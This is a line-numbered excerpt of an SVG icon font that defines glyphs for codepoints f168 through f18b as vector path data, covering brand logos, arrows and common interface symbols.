360 <glyph unicode="&#xf168;" horiz-adv-x="1408" d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942 q25 45 64 45h241q22 0 31 -15z" />
361 <glyph unicode="&#xf169;" d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1 l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
362 <glyph unicode="&#xf16a;" horiz-adv-x="1792" d="M1280 640q0 37 -30 54l-512 320q-31 20 -65 2q-33 -18 -33 -56v-640q0 -38 33 -56q16 -8 31 -8q20 0 34 10l512 320q30 17 30 54zM1792 640q0 -96 -1 -150t-8.5 -136.5t-22.5 -147.5q-16 -73 -69 -123t-124 -58q-222 -25 -671 -25t-671 25q-71 8 -124.5 58t-69.5 123 q-14 65 -21.5 147.5t-8.5 136.5t-1 150t1 150t8.5 136.5t22.5 147.5q16 73 69 123t124 58q222 25 671 25t671 -25q71 -8 124.5 -58t69.5 -123q14 -65 21.5 -147.5t8.5 -136.5t1 -150z" />
363 <glyph unicode="&#xf16b;" horiz-adv-x="1792" d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
364 <glyph unicode="&#xf16c;" horiz-adv-x="1408" d="M928 135v-151l-707 -1v151zM1169 481v-701l-1 -35v-1h-1132l-35 1h-1v736h121v-618h928v618h120zM241 393l704 -65l-13 -150l-705 65zM309 709l683 -183l-39 -146l-683 183zM472 1058l609 -360l-77 -130l-609 360zM832 1389l398 -585l-124 -85l-399 584zM1285 1536 l121 -697l-149 -26l-121 697z" />
365 <glyph unicode="&#xf16d;" d="M1362 110v648h-135q20 -63 20 -131q0 -126 -64 -232.5t-174 -168.5t-240 -62q-197 0 -337 135.5t-140 327.5q0 68 20 131h-141v-648q0 -26 17.5 -43.5t43.5 -17.5h1069q25 0 43 17.5t18 43.5zM1078 643q0 124 -90.5 211.5t-218.5 87.5q-127 0 -217.5 -87.5t-90.5 -211.5 t90.5 -211.5t217.5 -87.5q128 0 218.5 87.5t90.5 211.5zM1362 1003v165q0 28 -20 48.5t-49 20.5h-174q-29 0 -49 -20.5t-20 -48.5v-165q0 -29 20 -49t49 -20h174q29 0 49 20t20 49zM1536 1211v-1142q0 -81 -58 -139t-139 -58h-1142q-81 0 -139 58t-58 139v1142q0 81 58 139 t139 58h1142q81 0 139 -58t58 -139z" />
366 <glyph unicode="&#xf16e;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150 t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
367 <glyph unicode="&#xf170;" d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
368 <glyph unicode="&#xf171;" horiz-adv-x="1408" d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22 t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18 t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5 t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
369 <glyph unicode="&#xf172;" d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5 t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120 v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
370 <glyph unicode="&#xf173;" horiz-adv-x="1024" d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14 q78 2 134 29z" />
371 <glyph unicode="&#xf174;" d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
372 <glyph unicode="&#xf175;" horiz-adv-x="768" d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
373 <glyph unicode="&#xf176;" horiz-adv-x="768" d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
374 <glyph unicode="&#xf177;" horiz-adv-x="1792" d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
375 <glyph unicode="&#xf178;" horiz-adv-x="1792" d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
376 <glyph unicode="&#xf179;" horiz-adv-x="1408" d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q112 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65 q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
377 <glyph unicode="&#xf17a;" horiz-adv-x="1664" d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
378 <glyph unicode="&#xf17b;" horiz-adv-x="1408" d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30 t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5 h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
379 <glyph unicode="&#xf17c;" d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-7 -10 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7 q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15 q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5 t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19 q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63 q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18l-4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92 q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152 q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-14 -1 -7 -7l4 -2 q14 -4 18 -31q0 -3 8 2zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5t-30 -18.5 t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43q-19 4 -51 9.5 t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49t-14 -48 q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54q110 143 124 195 q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5t-40.5 -33.5t-61 -14 q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5t15.5 47.5q1 -31 8 -56.5 t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
380 <glyph unicode="&#xf17d;" d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81 t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19 q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -6 6.5 -17.5t7.5 -16.5q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6 t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
381 <glyph unicode="&#xf17e;" d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5 t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5 q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80 q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
382 <glyph unicode="&#xf180;" horiz-adv-x="1280" d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324 l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
383 <glyph unicode="&#xf181;" d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408 q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
384 <glyph unicode="&#xf182;" horiz-adv-x="1280" d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43 q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
385 <glyph unicode="&#xf183;" horiz-adv-x="1024" d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
386 <glyph unicode="&#xf184;" d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
387 <glyph unicode="&#xf185;" horiz-adv-x="1792" d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4 l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94 q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
388 <glyph unicode="&#xf186;" d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61 t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
389 <glyph unicode="&#xf187;" horiz-adv-x="1792" d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536 q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
390 <glyph unicode="&#xf188;" horiz-adv-x="1664" d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207 q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19 t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
391 <glyph unicode="&#xf189;" horiz-adv-x="1920" d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-78 -100 -90 -131q-17 -41 14 -81q17 -21 81 -82h1l1 -1l1 -1l2 -2q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58 t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6 q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q17 19 38 30q53 26 239 24 q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2 q39 5 64 -2.5t31 -16.5z" />
392 <glyph unicode="&#xf18a;" horiz-adv-x="1792" d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12 q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422 q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178 q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
393 <glyph unicode="&#xf18b;" d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495 q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
